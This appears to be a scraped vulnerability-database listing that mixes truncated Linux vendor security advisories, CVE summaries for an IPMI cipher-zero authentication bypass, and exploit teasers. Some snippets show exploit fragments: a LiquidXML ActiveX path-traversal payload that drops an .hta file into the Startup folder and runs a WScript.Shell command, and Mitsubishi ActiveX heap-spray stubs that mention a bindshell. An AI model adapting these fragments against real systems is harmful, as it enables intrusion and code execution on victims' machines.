SuSE 11.3 Security Update : icedtea-web (SAT Patch Number 7981)

This update to IcedTea-Web 1.4 provides the following fixes and enhancements : - Security updates - RH916774: Class-loader incorrectly shared for applets with same relative-path. CVE-2013-1926 - RH884705: fixed gifar vulnerabilit. CVE-2013-1927 - RH840592: Potential read from an uninitialized...

Moderate: Red Hat Security Advisory: Red Hat Enterprise MRG Messaging 2.3.3 security update

Updated Messaging component packages that fix one security issue and multiple bugs are now available for Red Hat Enterprise MRG 2.3 for Red Hat Enterprise Linux 6. The Red Hat Security Response Team has rated this update as having moderate security impact. A Common Vulnerability Scoring System CV...

Multiple Vendors IPMI 2.0 Authentication Bypass via Cipher 0

Authentication Bypass vulnerability have been reported in IPMI 2.0 Authentication. When using cipher type 0, it is an indicator that the client wants to use clear-text authentication,that allows access with any password...

CVE-2013-4784

The HP Integrated Lights-Out iLO BMC implementation allows remote attackers to bypass authentication and execute arbitrary IPMI commands by using cipher suite 0 aka cipher zero and an arbitrary password...

CVE-2013-4784

The CVE-2013-4784 vulnerability affects HP iLO BMC implementations and enables remote attackers to bypass authentication and execute arbitrary IPMI commands by triggering cipher suite 0 (cipher zero) with any password. The issue is a cipher-zero authentication bypass over IPMI, allowing network-a...

CVE-2013-4783

The CVE-2013-4783 entry documents an authentication bypass in Dell iDRAC6/7: iDRAC6 firmware 1.x before 1.92, 2.x, and 3.x before 3.42, and iDRAC7 firmware before 1.23.23, allow remote attackers to bypass authentication and run arbitrary IPMI commands by using cipher suite 0 (cipher zero) with an...

Windows NT - Windows 8 EPATHOBJ Local Ring 0 Exploit

Exploit for windows platform in category local exploits ifndef WIN32NOSTATUS define WIN32NOSTATUS endif include include include include include ifdef WIN32NOSTATUS undef WIN32NOSTATUS endif include pragma commentlib, "gdi32" pragma commentlib, "kernel32" pragma commentlib, "user32" pragma...

CentOS Update for hypervkvpd-0 CESA-2013:0807 centos5

Check for the Version of hypervkvpd-0 OpenVAS Vulnerability Test CentOS Update for hypervkvpd-0 CESA-2013:0807 centos5 Authors: System Generated Check Copyright: Copyright c 2013 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify...

Debian DSA-2667-1 : mysql-5.5 - several vulnerabilities

Several issues have been discovered in the MySQL database server. The vulnerabilities are addressed by upgrading MySQL to a new upstream version, 5.5.31, which includes additional changes, such as performance improvements and corrections for data loss defects. %NASLMINLEVEL 70300 C Tenable Networ...

D-Link DNS-323 - Multiple Vulnerabilities

Exploit Title: D-Link DNS-323 Multiple Vulnerabilities Author: sghctoma E-mail: [email protected] Category: Hardware Vendor: http://www.dlink.com/ Firmware Version: 1.09 Product:...

VUPEN Security Research - Oracle Java JavaFX Video Frame Decoding Remote Heap Overflow (Pwn2Own 2013)

VUPEN Security Research - Oracle Java JavaFX Video Frame Decoding Remote Heap Overflow Pwn2Own 2013 Website : http://www.vupen.com Twitter : http://twitter.com/vupen I. BACKGROUND --------------------- "Java is the foundation for virtually every type of networked application and is the global...

Fedora 17 : icedtea-web-1.3.2-0.fc17 (2013-5925)

Security Updates - CVE-2013-1927, RH884705: fixed gifar vulnerability - CVE-2013-1926, RH916774: Class-loader incorrectly shared for applets with same relative-path. - Common - Added new option in itw-settings which allows users to set JVM arguments when plugin is initialized. - NetX - PR580:...

MongoDB nativeHelper.apply Remote Code Execution

No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' class Metasploit3...

Mitsubishi MX ActiveX Component v3 (ActUWzd.dll (WzTitle)) - Remote Exploit

Exploit for windows platform in category remote exploits //Payload is a windows/bindshell that is spawned on LPORT=5500 shellcode =...

LiquidXML Studio 2010 Active-X File Creation

var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell"; x.Exec"CALC.EXE"; "; target.OpenFilesofa,1; target.AppendStringking; LiquidXML...

Mitsubishi MX ActiveX Component 3 - 'ActUWzd.dll' 'WzTitle' Remote Heap Spray

//Payload is a windows/bindshell that is spawned on LPORT=5500 shellcode =...

Mitsubishi MX ActiveX Component 3 - ActUWzd.dll WzTitle Remote Heap Spray

Mitsubishi MX ActiveX Component 3 - ActUWzd.dll WzTitle Remote Heap Spray //Payload is a windows/bindshell that is spawned on LPORT=5500 shellcode =...

LiquidXML Studio 2012 - ActiveX Insecure Method Executable File Creation

LiquidXML Studio 2012 - ActiveX Insecure Method Executable File Creation var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell";...

LiquidXML Studio 2010 ActiveX Remote 0-day

Exploit for windows platform in category local exploits var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell"; x.Exec"CALC.EXE"; ";...

LiquidXML Studio 2012 - ActiveX Insecure Method Executable File Creation

var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell"; x.Exec"CALC.EXE"; "; target.OpenFilesofa,1; target.AppendStringking; LiquidXML...